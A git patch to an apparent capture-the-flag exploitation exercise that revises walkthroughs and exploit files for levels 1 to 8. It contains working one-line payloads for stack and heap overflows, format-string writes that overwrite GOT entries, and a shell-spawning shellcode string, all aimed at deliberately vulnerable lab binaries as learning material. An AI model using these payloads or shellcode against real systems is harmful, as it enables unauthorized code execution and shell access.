From fb1ba7aee8dbcb93641c079ab427fb4cbdf5b0f1 Mon Sep 17 00:00:00 2001 From: 0x35c <> Date: Wed, 7 May 2025 14:04:04 +0200 Subject: [PATCH] fix: bunch of improvements and typos in the walkthrough --- level1/ressources/exploit | 2 +- level1/source.c | 7 +++++++ level1/walkthrough | 8 ++++---- level2/walkthrough | 8 ++++---- level4/ressources/exploit | 2 +- level4/walkthrough | 2 +- level5/walkthrough | 8 +++++--- level6/walkthrough | 5 +++-- level7/walkthrough | 4 ++-- level8/ressources/exploit | 2 +- level8/walkthrough | 11 ++++++----- 11 files changed, 35 insertions(+), 24 deletions(-) diff --git a/level1/ressources/exploit b/level1/ressources/exploit index 922dcb6..bcdacc4 100644 --- a/level1/ressources/exploit +++ b/level1/ressources/exploit @@ -1 +1 @@ -(python -c 'print("a"*76 + "\x44\x84\x04\x08")'; cat) | ./level1 +(python -c 'print("A"*76 + "\x44\x84\x04\x08")'; cat) | ./level1 diff --git a/level1/source.c b/level1/source.c index 5a843c0..f0d20c4 100644 --- a/level1/source.c +++ b/level1/source.c @@ -1,4 +1,11 @@ #include +#include + +void run(void) +{ + fwrite("Good... Wait what?\n", 1, 19, stdout); + system("/bin/sh"); +} int main(void) { diff --git a/level1/walkthrough b/level1/walkthrough index b5d0de9..c0a2fa2 100644 --- a/level1/walkthrough +++ b/level1/walkthrough @@ -1,9 +1,9 @@ # Level1 -Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`. +Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets()`. We can exploit this call to overflow the stack and call another function. -In the binary, there is a function `run()` located at address 0x8048444 that runs `/bin/sh`. +In the binary, there is a function `run()` located at address 0x8048444 that calls `system("/bin/sh")`. To exploit this, we can use this sh command with this inline python script: -`(print('a'*76 + "\x44\x84\x04\x08"); cat) | ./level1` -This will print `run()`'s address on the stack, after the buffer being written to by `gets`, resulting in a call to the function. +`(print('A'*76 + "\x44\x84\x04\x08"); cat) | ./level1` +This will print `run()`'s address to `eip`, after the buffer being written to by `gets()`, resulting in a call to the function. The parenthesis and the `cat` are mandatory to make it blocking and keep the shell opened. diff --git a/level2/walkthrough b/level2/walkthrough index ce15c69..f1d15eb 100644 --- a/level2/walkthrough +++ b/level2/walkthrough @@ -1,13 +1,13 @@ # Level2 -Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`. +Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets()`. Then, it will check if the return address hasn't been overwritten to and thus prevent us to exploit this vulnerability... -Since it calls `strdup` at the end of the program, we can insert a piece of code executing a linux shell through asm instructions. This will be copied to the heap, and since the ASLR is disabled, the address of where `strdup` will copy the content of the buffer will always be the same (we can find it using `ltrace ./binary`). +Since it calls `strdup()` at the end of the program, we can insert a shellcode (asm instructions opening a shell). This will be copied to the heap, and since the ASLR is disabled, the address of where `strdup()` will copy the content of the buffer will always be the same (we can find it using `ltrace ./level2`). -For the payload, everything is explained here (thanks cocomelonc UwU): +For the shellcode, everything is explained here (thanks cocomelonc UwU): https://cocomelonc.github.io/tutorial/2021/10/09/linux-shellcoding-1.html We can then execute this command (similar to the previous one): `(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A" * 55 + "\x08\xa0\x04\x08"' ; cat) | ./level2` -Where we copy our linux shell code to the heap, then fill the buffer until after `eip`. +Basically, we copy our shell code to the heap, then fill the buffer until after `eip`. Finally, we can insert the address where our code has been copied so it will be executed when the `return` instruction is called. diff --git a/level4/ressources/exploit b/level4/ressources/exploit index dedc96c..81b9288 100644 --- a/level4/ressources/exploit +++ b/level4/ressources/exploit @@ -1 +1 @@ -(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4 +(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4 diff --git a/level4/walkthrough b/level4/walkthrough index 35647f6..ed1243a 100644 --- a/level4/walkthrough +++ b/level4/walkthrough @@ -14,4 +14,4 @@ Since we cannot pass arguments to printf directly, we need to specify the positi Finally, we print the 16930112 bytes (+ 4 bytes for the address have already been printed) so that `m == 16930116`. Unfortunately, unlike the previous level, we cannot print all the bytes directly in the buffer. For this, we will use printf's padding feature to print the right number of bytes. Here is the command: -`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4` +`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4` diff --git a/level5/walkthrough b/level5/walkthrough index 066fdf0..87e692b 100644 --- a/level5/walkthrough +++ b/level5/walkthrough @@ -1,7 +1,7 @@ # Level5 -Using ghidra, we can decompile the code and see that it fills a buffer of 520 bytes using `fgets`. -This buffer will then be passed directly as a parameter to `printf`. This allows us to print whatever we want (e.g dump the stack, change variables). +Using ghidra, we can decompile the code and see that it fills a buffer of 520 bytes using `fgets()`. +This buffer will then be passed directly as a parameter to `printf()`. This allows us to print whatever we want (e.g dump the stack, change variables). Our goal here will be to change the value of the `jmp` of `exit()` to the address of `o()`, opening a shell. To do so, we will first dump the stack to know where the buffer is located. @@ -9,6 +9,8 @@ Let's print something basic like `print("AAAA" + "%x"*20)`. We can see that 0x41 Now that we know where our buffer is located on the stack, let's exploit printf. By using the `%n` flag, we can change the value of a variable to the length of what's been printed before (here, o's address). -We can get both `jmp` instruction's address and `o`'s address using gdb. +Let's overwrite the GOT address of `exit()` by the address of `o()`. +We can get both addresses using gdb. + Putting these all together, here is the command: `(python -c 'print "\x38\x98\x04\x08" + "%134513824p" + "%4$n"'; cat) | ./level5` diff --git a/level6/walkthrough b/level6/walkthrough index 67bb6de..05e878e 100644 --- a/level6/walkthrough +++ b/level6/walkthrough @@ -1,9 +1,10 @@ # Level6 -Using ghidra, we can decompile the code and see that it calls `malloc` twice. -The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` function by default (prints "Nope."). We want to change its value to point to the correct function `n()` that will open a shell. +Using ghidra, we can decompile the code and see that it calls `malloc()` twice. +The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` printing `"Nope."`. We want to change its value to point to the correct function `n()` that will open a shell. To achieve this, we will overflow the first malloc and the second one's header so that we can write the adress through the input in `av[1]`. To calculate the offset between the 2 allocations, we used gdb's breakpoints and prints, leading us to an offset of 72 bytes (64 + 8). +We just need to print 72 bytes followed by the address of `n()`. Here is the command: ./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"') diff --git a/level7/walkthrough b/level7/walkthrough index b5cf517..6133196 100644 --- a/level7/walkthrough +++ b/level7/walkthrough @@ -4,9 +4,9 @@ Using ghidra, we can decompile the code and see that it allocates 2 variables (s It will then `strcpy()` the content of av[1] and av[2] to s1[1] and s2[1], exposing the program to a buffer overflow. After that, the program opens a file stream on `/home/user/level8/.pass` and writes its content to the global buffer `c[80]`. This buffer is also used in an external function `m()` that will print the content of c. Finally, we have a call to `puts("~~")` that we're going to use to call the function `m()` instead of printing its string. -In order to do this, we have to overwrite the GOT at the address of `puts()` and replace it by the address of `m()`. +In order to do this, we have to overwrite the GOT at the address of `puts()` with `m()`'s address. Remember we have 2 pointer dereferences, we're going to use this to write what we want at the address we want. -Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g., the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`. +Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g, the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`. Here is the command: `./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')` diff --git a/level8/ressources/exploit b/level8/ressources/exploit index eca80e9..20527a4 100644 --- a/level8/ressources/exploit +++ b/level8/ressources/exploit @@ -1 +1 @@ -(python -c 'print "auth \nservice" + "A" * 34 + "\n" + "login\n"'; cat) | ./level8 +(python -c 'print "auth \nservice" + "A" * 33 + "\n" + "login\n"'; cat) | ./level8 diff --git a/level8/walkthrough b/level8/walkthrough index 7b356c8..516108f 100644 --- a/level8/walkthrough +++ b/level8/walkthrough @@ -2,12 +2,13 @@ Using ghidra, we can decompile the code and see that it loops on a `fgets()` and does a bunch of `memcmp()` with its buffer. First of all, we have 2 global variables, `char *auth` and `int service`. Also, we have 3 local buffers (`s`, `v5` and `v6`) with respective sizes of 5, 2 and 129. -We can see that they are being changed in 2 different `if memcmp()`. +We can see that they are being changed in 2 different `if (!memcmp())`. The first one is when we input `"auth "`. It will allocate 4 bytes to `auth`, then set `auth[0]` to 0. -The second one is when we input `"service"`. It will `strdup()` the content of `v6` (a random buffer on the stack) to `service`. This is interesting because we can overflow the first buffer `s` (through `fgets(s, 128, stdin)`)until we reach `v6`, thus allowing us to write whatever we want to service. Since `service` is an int, it will overflow to the next variable, which is `char *auth`. +The second one is when we input `"service"`. It will `strdup()` the content of `v6` (a random buffer on the stack) to `service`. This is interesting because we can overflow the first buffer `s` (through `fgets(s, 128, stdin)`) until we reach `v6`, thus allowing us to write whatever we want to service. Since `service` is an int, it will overflow to the next variable, which is `char *auth`. To make this vulnerability useful, let's see the last `memcmp()`. -This last `if memcmp()` is triggered with the input `"login"`. It then has an `if/else`, that will open a shell (what we want) in case `auth[32] != 0`. -Here comes the interesting part, remember we could overflow on `auth` through the `strdup` on `service`. +This last `if (!memcmp())` is triggered with the input `"login"`. It then has an `if/else`, that will open a shell (what we want) in case `auth[32] != 0`. +Here comes the interesting part, remember we could overflow on `auth` through the `strdup()` on `service`. +We're going to overflow 33 bytes from the `fgets()` after `"service"` so it overwrites the 33th byte of `auth` (since `"service"` already overwrites `s` by 2 bytes), opening a shell. Here's the full exploit: -`(python -c 'print "auth \nservice" + "A" * 34 + "\n" + "login\n"'; cat) | ./level8` +`(python -c 'print "auth \nservice" + "A" * 33 + "\n" + "login\n"'; cat) | ./level8`